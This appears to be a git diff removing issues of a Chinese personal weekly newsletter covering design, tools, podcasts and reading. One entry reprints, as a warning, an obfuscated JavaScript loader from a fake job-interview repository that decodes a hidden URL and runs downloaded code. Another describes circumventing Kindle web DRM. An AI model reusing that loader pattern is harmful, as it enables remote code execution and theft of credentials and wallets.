Glass」,认为新设计让内容变得更复杂,从而降低了实用性,而且一些新的设计方案摒弃了已有的操作习惯和传统。 - -最值得诟病的是液态玻璃的「透明度」,尽管经过几轮测试之后,可读性有了提升,但层级的缺失使得两层甚至三层内容经常堆叠在一起。这不仅是可读性很差,而且非常**丑**。许多元素经常叠在一起抢占空间,还抢占用户的注意力。 - -新系统里的动效非常丰富,但很多都没有必要。作者说,苹果的新界面像是无时不刻地在喊「看看我!」,然而界面实际上应该让步给内容。有很多动画不仅令人困惑且没有意义,还让整个界面看起来很复杂、很「慢」。 - -由于新系统里多了很多悬浮按钮,而这些按钮都有玻璃背景,玻璃两边离屏幕边缘有很大的距离,再加上无处不在的大圆角,防止按钮的空间其实被压缩了,这也就导致可供用户点击的空间变小了,也让按钮挤在一起。最气人的是 Safari,当「前进」「后退」和「菜单」按钮都显示出来时,中间的地址栏就会被挤成一小条,甚至分辨自己在哪个网站上都变得很困难。 - -作者还批评了 iOS 26 的「可预测性」(predictability),类比了 Microsoft Office 曾经「把用户常用的按钮放在前面」这种看似合理但实际上非常难用的策略,动态、变化的 UI 会让用户没有办法在原来的地方找到自己想要的功能,反而需要更多的时间导航。在以「健康」为例的原生应用里,用户一点击搜索框,左边的导航栏就会收缩起来变成一个——我自己的体会是,这的确会让我在切换页面时看到困惑;尽管能够理解这种设计,也不至于因此而迷路,但这就是没有不会变化的界面来得直观和快捷。 - -在以前,iOS 上各种 App 的搜索框都被放置在页面最上方,用户下拉页面就能看到折叠起来的收缩框。现在,Apple 把搜索框固定到了界面下方,可以随时点击。然而,习惯了下拉进行搜索的老用户明显会感到不习惯,需要重新学习。Apple 还移除了面包屑导航,现在点击返回按钮时用户需要回忆自己会回到什么地方。 - -总而言之,作者认为苹果的新设计「美观性大于实用性」(prioritizing spectacle over usability),很多设计都只可远观,不可亵玩。 - -#### 我的观点 - -一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角? - -此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight…… - -#设计 #Apple - -### 我差点被一个「工作面试」偷走数字身份 - -> [!note] 📜 -> [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview) - -作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 `npm run start` 启动项目的时候,他突然觉得哪里不对劲。 - -于是他向 Cursor 的 AI Agent 问了一个问题: - -> 在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码? - -Agent 帮他翻出来了这段代码: - -```js -//Get Cookie -(async () => { - const byteArray = [ - 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, - 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, - 98, 50, 48, 51, 49, 102, 98, 57 - ]; - const uint8Array = new Uint8Array(byteArray); - const decoder = new TextDecoder('utf-8'); - axios.get(decoder.decode(uint8Array)) - .then(response => { - new Function("require", response.data.model)(require); - }) - .catch(error => { }); -})(); -``` - -将 `byteArray` 解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。 - -作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。 - -#### 我的观点 - -AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。 - -#隐私 - -### 我「逆向工程」了 Amazon 的 Kindle 图书服务 - -> [!note] 📜 -> [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/) - -因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。 - -所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。 - -```json -{ - "type": "TextRun", - "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...], - "style": "paragraph" -} -``` - -一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。 - -最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。 - -#### 我的观点 - -尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。 - -读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。 - -## ⁂ · 星群 - -### AirBattery - -一个开源的 macOS 应用,提供更多的电量显示,支持本机、iPhone、iPad、AirPods 以及各种蓝牙配件,电量可以用小组件、Dock 栏图标和菜单栏图标等形态展示,还能设置低电量和高电量提醒。软件支持零配置开箱即用,但第一次使用还是需要操作一下:需要用数据线连接 iPhone 并信任设备,然后在设置里打开允许通过蓝牙发现设备,才能正常显示 iPhone 电量,成功配对 iPhone 之后能够自动配对 Apple Watch;通过 Nearcast 功能,可以通过局域网广播的方式同步其他 Mac 的电量…… 不是苹果但带有蓝牙电显功能的蓝牙设备似乎不能正常显示电量,至少我的设备上没有。 - -我其实很少会检查设备的电量,经常在要出门的时候才发现 iPad 或者 MacBook 没电了(最坏的情况是 AirPods 也没电了,不过有无线充电设备之后这种情况就很少发生了)。通过小组件聚合显示所有设备的电量的确会方便不少,能提醒我及时给设备们充电。 - - - -访问:[lihaoyun6/AirBattery](https://github.com/lihaoyun6/AirBattery) - -### 1Capture - -一款基础功能免费,高级功能付费的截图软件。高级功能包括移除水印、滚动截图、固定图片到桌面、文字识别和类似 Cleanshot X 的截图美化。包括基础功能在内的各种使用体验都做得非常优雅,1Capture 的箭头标注工具大概是我见过最好看的了,还有自带的贴纸,贴上自带阴影,而且每个贴纸都长得很好看。目前 1Capture 终身买断价格为 ¥98,我决定先试用 7 天,搞不好真的又要花钱购买了。 - -其实 1Capture 从功能上来讲,完全可以被 PixPin 的免费功能替代,奈何后者是 Qt 开发的,放到 macOS 上还是太丑了。如果不在意美观程度,完全可以用 PixPin 替代。ß - - - -访问:[1Capture](https://docs.1capture.com/cn/start) - -### Is This Seat Taken? - -大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。 - -游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。 - - - -访问:[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/) - -### meow.camera - -人类,你可以观看猫咪进食。 - - - -访问:[meow.camera](https://meow.camera/)
\ No newline at end of file diff --git a/content/posts/weekly/52.md b/content/posts/weekly/52.md deleted file mode 100644 index c9ff3c34..00000000 --- a/content/posts/weekly/52.md +++ /dev/null @@ -1,206 +0,0 @@ -+++ -title = "稻草人周刊 Vol.52" -subtitle = "造神与失智" -tags = [ - "健康", - "叙事", - "认知", - "Geek", - "Web", - "技术", -] -categories = "稻草人周刊" -date = 2025-10-27 02:11:00 -draft = false -toc = true -aliases = [ - "/posts/weekly/52", -] -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/10/charlie-puth-whatevers-clever.jpeg" title="Changes" artist="Charlie Puth" apple="https://music.apple.com/cn/album/changes/1845189970?i=1845189972&l=en-GB" spotify="https://open.spotify.com/track/4kUI0vuDd0Zub4IvxxNreM" netease="https://music.163.com/#/song?id=2755182871" >}} - -Charlie Puth 大概是最可爱的直男歌手了!很喜欢新单曲的 MV,定格动画、Charlie 的穿搭和编舞都很可爱,听他的歌总会感到一丝快乐。<!--more--> - ---- - -> [!note] -> 周刊的「↯ · 当下」这一栏目被移动到了最后,除此之外周刊没有别的变化,感谢阅读! - -## ⋈︎ · 连接 - -### 古罗马名医如何讨论健康 - -<iframe allow="autoplay *; encrypted-media *; fullscreen *; clipboard-write" frameborder="0" height="175" style="width:100%;max-width:660px;overflow:hidden;border-radius:10px;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?l=en-GB&i=1000732849481" loading="lazy"></iframe> - -树老师在[第 265 期播客](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?l=en-GB&i=1000732849481)中阐述了古罗马名医盖伦有关健康的思考,其中最令我印象最深刻的是有关「健康锻炼」的想法。简单来说,盖伦认为「练得杂」比「练得精」更有益于健康,也就是说成为专业的健美运动员其实是对身体有害的,因为这会导致「臃肿」。身体训练应该是全方面的,长跑等针对某一方面的过度运动是臃肿的不健康的锻炼,一个人若要追求健康,就应该训练身体的各个方面,全方面发展身体素质。 - -对我这个双子座特质很强的人来说,「练得杂」本身也是一件有趣的事,因为「杂」就意味着我可以一直尝试不同类型的运动。我最近一个月就在坚持每天早上拉伸,猫牛式、蜥蜴式、下犬式全都练成条件反射了,有氧运动也从一开始的简单跳操转向了 HIIT 再到 TABATA[^2],每周也有一两次抗阻力训练。我想「练得杂」容易带来的问题就是容易落下旧的运动习惯,比如这个十月我居然只出门跑了一次步,实在是不应该,但这也是可以自己克服的。 - -另外,我一直很喜欢这种「全面发展」的精神(除了贴在初高中校园里的标语),我认为一个人应该会自己编程实现需求、会自己算命、会自己做全屋清洁、会自己做饭(包括自己熬油泼辣子、自己搭配膳食、自己杀鱼杀鸡)、会修电器、会养护植物、会写作、会驾驶、会搭配衣服…… 最终达到一种「没有人能帮我,因为我**什么都能干**」的境界。 - -#健康 - -### 故事与内容 - -<iframe allow="autoplay *; encrypted-media *; fullscreen *; clipboard-write" frameborder="0" height="175" style="width:100%;max-width:660px;overflow:hidden;border-radius:10px;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000733394370" loading="lazy"></iframe> - -树老师在[第 268 期播客](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000733394370)中从三个方面讨论了「故事」和「内容」这两种叙事载体的区别。 - -1. 内容是被制作出来的,而故事是被讲述出来的。 -2. 内容为产出而暂停生活,而故事因打断日常重复而被讲述。 -3. 内容因标签化而抹杀人格,而故事总是指向一个独特的英雄形象。[^1] - -总的来说,内容制作者在内容产出之前就已经想好了内容是什么样的,并且会暂停真实的生活来演绎和制作一种生活化的内容(或者说内容化的生活),就算是那些特立独行的内容制作者,他们也是通过对标签的反叛来展现个性的,其表现出来的人格特质也是依赖于标签的——依照我的理解,「大厂裸辞」类的自媒体,就是典型的「对标签的反叛」,反叛的是「大厂打工人」这个标签。 - -播客的主题可以理解为倡议人们多讲故事,而不是想办法制造内容,甚至将自己的生活内容化,变动空洞和无聊。故事就是在生活的重复中偶然发生的事情,故事处在被讲述的过程中时,讲述者不一定知道故事最终会被讲成什么样子。与服从于标签或简单地反抗标签的内容叙事不同,故事所表现出来的是抽离于标签、高于人类这个抽象概念的具体且独特的人格,就像文学作品中个性鲜明同时又让人们为之感动的人物一样。 - -在我看来,「讲故事」即是一种创作态度,也是一种面对生活和死亡的态度。活在内容里的人想要自己的生活被看见,想通过流量和点赞数据来证明内容的质量,也不可避免地陷入比较的陷阱里;活在故事里的人更愿意去体验,感受生活中偶然发生的美好,也有更多的时间与自己相处,造就真正的个性。 - -#叙事 - -### 造神与失智 - -> [!note] 📜 -> [我们在造神运动中,失去的是理性与常识 - 太隐](https://wangyurui.com/posts/zao-shen-yun-dong-da-fen-qi-ru-he-cheng-wei-wan-3ecc0de5) - -文章简述了达芬奇的生平,以及他是如何被后世吹捧为「通才」并被编造出各种相关的阴谋论的。人们把达芬奇的生平故事断章取义、过度解读,将他塑造成了一个神一般的人物,甚至被一些作家打造成商品,让人们在消费时感受崇拜和典型的**成功学快感**,即读完之后觉得「我也行!」的快感。 - -文章还提及了虚无主义,即尼采的「上帝已死」。作者认为人们痴迷于「造神」的原因在于,人们失去了信仰,所以迫切地需要一个能解释一切、提供信仰、让自己获得希望的形象出现。人们在造神之后,又会很快发现神身上的瑕疵,于是抛弃了这个神,去找下一个神,继而陷入「造神」与「弑神」的循环。 - -作者提到,这种循环其实体现了人们**精神的匮乏**,并希望通过分享外界的「神性」来满足自己的精神需求——在我看来,这一规律不只体现在造神上,对任何一种学说和主张的过度痴迷,并允许外界知识成为自己人格的全部,都是主体性缺失和精神匮乏的体现。显然,最强大且永不落幕的精神源泉就来自于自己。永远不要等待别人来拯救自己。 - -此外,人们不只爱造神,还爱抛弃人性去接近那个不存在的神性,比如厌恶真实的人类情感而过度强调理性;还有萨特所言的「不诚」,即否认自己的真实性[^3]而只把自己定义为超越性[^4],不切实际的可能性也是对不存在的神性的追求。在我看来,造神和妄图成神的想法都是自卑情绪的体现,因为个体无法接受自己作为一个人类的局限性和事实,所以逃到完美的幻想里度日。 - -#认知 - -### Just Use cURL - -> [!note] 📜 -> [Just use cURL](https://justuse.org/curl/) - -作者用有些暴脾气的语调表达了对 Postman 的不满——为什么你需要在你的电脑上启动一个 Chromium 实例,打开一个满是复杂 UI 元素的臃肿的应用,忍受长达十多秒的启动时间,就为了发一个 HTTP 请求? - -用 cURL 就行了啊! - -在终端里输入 `curl example.com` 就能给对应的网址发 HTTP 请求,作为一个上世纪就存在的、在每个人的电脑甚至冰箱和汽车里都有安装的软件,cURL 几乎能满足任何需求,POST 请求、附加 Headers、上传文件、使用 Cookies…… - -作为一个命令行工具,作者表示 cURL 还可以通过管道,搭配 `history` `grep` `jq` 等其他命令一起使用;还能被写在脚本文件里,放在项目目录里通过 Git 同步,自带版本管理和代码审查难道不比 Postman 提供的同步功能更好用吗? - -我完全同意作者的观点,我认为一项需求只要能通过命令行完成且不会太麻烦,就完全不需要安装基于 GUI 的软件,尤其是如果这个软件还是用 Electron 做的(既占磁盘又吃内存还慢得要死的邪恶的东西!)。在不久前我还卸载了 Intelligenti IDEA,一开始安装这个 IDE 只是因为课程需求,后来发现用 `mvn` 命令更快、更简洁也更透明,就毅然决然地卸载了这个 5GB 大小的臃肿软件,还写了一篇语气强硬的文章吐槽 IDEA——《[Java Development with True IDEA](/en/posts/java-dev-with-true-idea/)》。非要在我的电脑上安装臃肿、冗余还难用的软件,就**跟强奸没有区别**,只有对自己的设备没有感情的人才会这样做。 - -#Geek - -### 为什么 NetNewsWire 没有成为一个 Web 应用 - -> [!note] 📜 -> [inessential: Why NetNewsWire Is Not a Web App](https://inessential.com/2025/10/04/why-netnewswire-is-not-web-app.html) - -一个在美国用于显示移民和海关执法局探员的 App 在法律要求下被下架苹果 App Store,这一事件引发了 NetNewsWire[^5] 开发者对自由软件的思考。他提到一些人认为,真正的自由软件应该是 Web 软件,所有有争议的内容都应该通过 Web 分发,因为存在于网站上的东西不会被要求从 App Store 下架[^6],毕竟 iPhone 和 iPad 用户没有办法从 App Store 以外的渠道安装软件。 - -尽管如此,作者也不打算将 NetNewsWire 做成一个 Web 应用,原因主要是如果做成 Web 应用,他将要支付服务器费用,为了维持运转就不得不向用户收费,这违背了他开发的初衷;就算做成可以自托管的开源 Web 应用,他也需要处理用户的安装问题。更重要的是,Web 应用是跑在别人的服务器上的,作者认为软件应该能在自己的机器上运行。综上所述,作者不打算在这些问题没能得到解决之前,把 NetNewsWire 搬到 Web 上。 - -#Web #技术 - -## ⁂ · 星群 - -### Mole - -之前在[第 35 期周刊]()推荐过 [cleanmac](https://github.com/hkdobrev/cleanmac),一个用于清理 macOS 系统的命令行工具,这个工具主打简洁,但简单到甚至要自己把脚本放到 `bin` 目录或者设置别名,而且界面也十分简陋。Mole 同样是一个免费、开源的 macOS 清理工具,同样是命令行,但界面要友好得多。我试了一下,在同一天早上还用 `cleanmac` 清理过系统的情况下,Mole 仍然帮我释放了 2 GB 左右的储存空间。 - -要使用的话,用 Homebrew 安装即可。 - -```shell -brew install tw93/tap/mole -``` - -除了系统清理,Mole 还提供 App 卸载和磁盘分析两个工具。App 卸载我一直用的是基于图形界面的 AppCleaner,磁盘分析用的是 DaisyDisk;Mole 提供的这两个功能都还不错,如果你习惯命令行界面的话,完全可以代替前面提到的两个 App。 - -可以通过执行 `mo` 来访问交互式菜单,或者直接输入 `mo clean`、`mo uninstall`、`mo analyze` 来访问对应的功能模块。 - -{{< gallery >}} - - -{{</ gallery >}} - -访问:[GitHub - tw93/Mole](https://github.com/tw93/mole) - -### 太空电梯 - -Neal Agarwal 制作的网页,可以通过向上滚动鼠标,从海平面往上移动,网页标记了各个关键的海拔高度,比如各种生物能够飞行的最高高度、自由落体的最高纪录、一些光电现象存在的位置,以及大气层的层次结构,是很有趣的体验。 - - - -访问:[Space Elevator](https://neal.fun/space-elevator/) - -### 被诅咒的知识 - -Immich 开发团队在开发过程中发现了许多技术被设计得反直觉的地方,比如 NPM 脚本每次执行时都会给 npm registry 发送一次 HTTP 请求;bcrypt(一个密码哈希函数)只会使用字符串的前 72 个字节,所以太长的密码会被忽略;图片的实际尺寸可能和 EXIF 元信息里的尺寸不对应,导致剪裁出现问题…… 总之都是他们用血泪教训换来的经验,值得一看。 - -此外,我之前还有记录每一个 Bug 的原因及解决方案的习惯,现在或许可以捡起来,说不定以后也可以做一个自己的 Cursed Knowledge 页面。 - -访问:[Cursed Knowledge \| Immich](https://immich.app/cursed-knowledge) - -## ↯ · 当下 - -### 网站的改动 - -- 将博客从 Cloudflare Pages 迁移到了 Workers;还把原先的 Python 脚本都用 Go 重写了一遍,运行环境可以少一个 Python 依赖,但似乎把 Go 的编译时间加上的话,也没有让构建时间变快。总之是一个意义不大的折腾,如果迁移后博客出现了访问问题请告知我。 -- 弃用了用 `littlefoot.js` 实现的悬浮式脚注,现在脚注会被插入到对应的段落后面。 - {{< gallery >}} -  -  - - {{</ gallery >}} - - 目前还是实验性质的,如果体验上有不好的地方还请反馈给我。 -- 取消了粗体字的字体颜色,在粗体字下添加了 `·` 来起到强调的作用。 -  - -### 中国国家地理摄影展 - -星期日的下午,感觉自己待在家里快要发霉了,便问室友要不要出去看电影,可惜院线上还是没有太多有趣的片子!于是我们就搭轻轨去印象城看了中国国家地理摄影展。接下来放一些我比较喜欢的照片: - -{{< gallery >}} - - - - -{{</ gallery >}} - -有些神奇的是,我在当天早上还在前文提到的[太空电梯](https://neal.fun/space-elevator/)里读过有关「精灵闪电」的描述,晚上就在摄影展看到了照片,真的很美。 - - - -最后附赠一张自拍 😁 - - - -### 茑屋书店和问闻书店 - -去摄影展之前,还路过了一家选品和分类都很用心的书店!在里面还发现了 Traveler's Note 手帐本和各种文具(虽然都贵得吓人),真的很适合在里面逛很久。 - -{{< gallery >}} - - - -{{</ gallery >}} - -逛完展之后顺带去看了西西弗总部的概念书店,也就是问闻书店。逛完之后,我对西西弗的印象又下降了几分。对比之下,茑屋书店的设计就要用心很多,不像西西弗居然会把荣格的《原型与集体潜意识》放在「美国历史文化」这个分区里,还有高到没有人能拿到的书架,真的是很不接地气的设计,毫无实用性可言,设计是拿来用的不是来看的——就算是那种古典的图书馆,也会在极高的书架旁边放一把可以去用的扶梯。逛了一圈也没发现什么有趣的书,便在哲学分区拿了一本萨特的《什么是主体性?》,毕竟我在几个月前还充了几百块钱的储值卡。 - -{{< gallery >}} - - - -{{</ gallery >}} - -[^1]: 此处的「英雄」是从叙事的角度出发的,即每个人都是自己故事的主角,故事中独一无二的人格就被称作英雄。 - -[^2]: HIIT 指高强度间歇性运动(High-Intensity Interval Training);TABATA 是 HIIT 的一种,能在更短的时间内获得更高强度的锻炼效果,和一般的 HIIT 的主要区别在于每组的锻炼时间和休息时间都减少了。 - -[^3]: 真实性(facticity),只个体的自然和社会条件,是客观的、现实层面的、当下的人。 - -[^4]: 超越性和真实性共同组成了人的境遇,人不仅是由客观事实组成的,还具有潜力,总是在超越自身的真实性。比如,仅仅把自己定义为真实性,说「我就是这样的人,所以做不了某件事」,就是在否认自己的超越性,是另一种「不诚」。 - -[^5]: 一个免费的 RSS 阅读器,也是我一直在用的软件。 - -[^6]: 国内的 Web 因为备案要求,和美国有所不同,所以作者和其他国外的开发者没有考虑过 Web 也受到限制的可能性。 diff --git a/content/posts/weekly/53.md b/content/posts/weekly/53.md deleted file mode 100644 index 14334ed1..00000000 --- a/content/posts/weekly/53.md +++ /dev/null @@ -1,160 +0,0 @@ -+++ -title = "稻草人周刊 Vol.53" -subtitle = "注意力如奢侈品" -tags = [ - "教育", - "阅读", - "游戏", - "编程", -] -categories = "稻草人周刊" -date = 2025-11-03 08:41:00 -draft = false -toc = true -aliases = [ - "/posts/weekly/53", -] -+++ -{{< music cover="https://r2.eltr.ac/picgo2025/download-1.png" title="Gravity" artist="from Hazbin Hotel, Season 2" apple="https://music.apple.com/cn/album/gravity/1842432736?i=1842432751" spotify="https://open.spotify.com/track/2l4wCQ546fNBZGrsMwAD3E" netease="https://music.163.com/#/song?id=2753456325" >}} - -大概是《地狱客栈》第二季前两集最令人印象深刻的一首歌,很有力量感。 - ---- -## ↺ · 回拨 - -> [!note] 🔍 -> 这是十一月的第一篇周刊,照例进行前一个月的文章回顾。由于九月份的文章没有在十月份进行回顾,所以这一期的周刊将会回顾九、十两个月内写就的,我认为比较不错的文章。 - -1. [从主体性的用词看用词的主观性](/posts/从主体性的用词看用词的主观性/) <br/> - 本文围绕互联网上常被讨论的但定义十分模糊的「主体性」这一概念,剖析了 Subjectivity 一词在不同语境下代表的不同含义,最后,文章讨论了用词为什么是主观的,并呼吁,就算没有死板绝对的语言标准,个人也应该在使用一个新词之前思考其准确定义。 -2. [伪君子与真小人](/posts/伪君子与真小人/) <br/> - 本文引入了社会分数和价值标准等概念,讨论了君子与小人之间的界限,同时还阐述了在我眼中的最高的美德——忠于自己。 -3. [警察警察与警察警察警察](/posts/警察警察与警察警察警察/) <br/> - 很多时候,人们相互厌恶只是因为他们是同类人。 -4. [恐同与恐异之异同](/posts/恐同与恐异之异同/) <br/> - 我理解很多异性恋者觉得同性恋很恶心,因为我同样觉得异性恋恶心,这是很正常的生理反应,只不过作为同性恋者我早就被铺天盖地的异性恋宣传弄得脱敏了。性少数文化在某种程度上要达到的就是给异性恋者脱敏的效果,不过这的确挤压了部分异性恋者公开表达的空间,但性少数者被挤压的是生存空间,两者的孰轻孰重其实很明显。 -5. [前提重掷](/posts/前提重掷/) <br/> - 本文批评了逃避观点表达、逃避自我还自以为聪明的理中客。许多人喜欢在被对方的话语弄得无力反驳时抛出一个绝对正确且无法被反驳的前提(例如「每个人都可以有自己的观点」「世界不是非黑即白的」),然而,这些都不是他们自己的观点,他们在逃避观点之争,但这种逃跑居然显得是他们胜利了,实在可笑。 -6. [厌恶在个体之外无足轻重](/posts/厌恶在个体之外无足轻重/) 及 [厌恶在个体之外无足轻重 II](/posts/厌恶在个体之外无足轻重-ii/) <br/> - 第一篇文章围绕阿德勒心理学中的课题分离和存在主义哲学中对自由和选择的理解,探讨了为什么表达厌恶是合理的且应该被允许的。第二篇文章主要表达了「厌恶作为一种主观偏好,应该和具有真正重量的价值判断分离开来」,即要区分「我讨厌……」和「我认为……应该……」这两种表达;由于在现实生活中大部分人都容易把个人喜好和价值取向混为一谈,难免引发不必要的争执,本文也探讨了什么样的场合适合表达主观偏好,什么样的场合应该严肃。 -7. [挑食如何帮我发现自己的认知边界?](/posts/挑食如何帮我发现自己的认知边界/) <br/> - 我认为世界上没有绝对的不挑食者,大部分人都挑食而不自知,而这种「不自知」与认知层面的边界十分类似。本文先探讨了味觉偏好的形成过程,再探讨了自以为心胸开阔如何让个体的思想变得狭隘,最后继续从挑食讲起,探讨了应该如何发现并拓宽自己的认知边界。 - -## ⋈︎ · 连接 - -### 蹒跚学步时的故事 - -> [!note] 📜 -> [Tales from Toddlerhood - Wait but Why](https://waitbutwhy.com/2025/10/toddler.html) - -我讨厌小孩子,我向自己保证自己绝对不会在未来的任何时候萌生以任何方式养育一个人类幼崽的想法——对,哪怕是想法也都不会有。诚然,我对婴儿至小学生的排斥使我缺失了不少宝贵的人类样本,但我当然可以去研究其他人提供的二手资料来弥补,嘻嘻。 - -这篇文章来自 Wait but Why,一个我很喜欢的英文博客,作者最近开始养育第二个小孩,显然他很享受陪伴小孩子,有这样的父母着实幸运。这篇文章分享了他对自家小孩的观察。 - -> But unintentionally, she’s a comedic genius. When I was in her way recently, she said, “Can you get out of space?” which my wife and I now say to each other whenever we want the other to move. Another time, we had to rip a band-aid off her leg, after which she said, “I am so perfectly sad,” and now my wife and I say that anytime we’re unhappy about something. -> -> 但无意之中,她是个喜剧天才。最近我有一次挡了他的路,她说:“你能从空间里走开吗?”,这下我和我妻子每次想要对方移动位置的时候就会说这句话。又有一次,我不得不把创可贴从她腿上撕下来,在之后她说:“我如此完美地伤心了”,现在我和我妻子在不开心的时候也会说这话。 - -等一下,这难道不是刚学英语的非母语者就会说出来的话吗? - -> We taught her to say “mamma mia” whenever she falls over, which I highly recommend to other toddler parents. -> -> 我们教会了她在每次摔倒的时候说“妈妈咪呀”,我们高度建议其他家长也这么做。 - -听起来像是训狗。这么说的话,如果生娃是为了满足情绪价值,那养狗也能做到,而且需要承担的责任更少,成本也更低,比养个人好多了。 - -### 注意力如奢侈品 - -> [!note] 📜 -> [Attention is a luxury good \| Seth's Blog](https://seths.blog/2025/10/attention-is-a-luxury-good/) - -如何定义一件东西像奢侈品一样好?作者认为奢侈不在于质量、是否合适或性能表现,奢侈在于个体能做其他人会认为是浪费的事情。读书就和名牌包包一样奢侈,前者会被不读书的人当作浪费时间,后者会被不买包的人当作浪费金钱。 - -能自由选择将自己的注意力放在任何有价值的地方,就是一种奢侈。当自己拥有这种宝贵的奢侈时,如果只求把事情做得又快又方便,就是在暴殄天物,例如:用 AI 总结一篇好的文章,只为自己能更快更方便地读完。你有没有想过,书之所以写那么长,人类的所有知识迄今为止之所以还没有被总结为一个快捷方便的大纲,就是因为真正的智慧就存在于这种奢侈当中? - -### 读书的目的 - -> [!note] 📻 -> [272-最优秀的学生为何失去了读书的能力? - 独树不成林](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000734649617) - -树老师在第 272 期播客里批评了当今大学教育下不会读书的学生,她认为就算不要求所有学生读书,大学里那些最优秀的学生也应该要有翻开一本书然后把它从头到尾读完的能力,但事实是如今的学生似乎都失去了这样的能力。 - 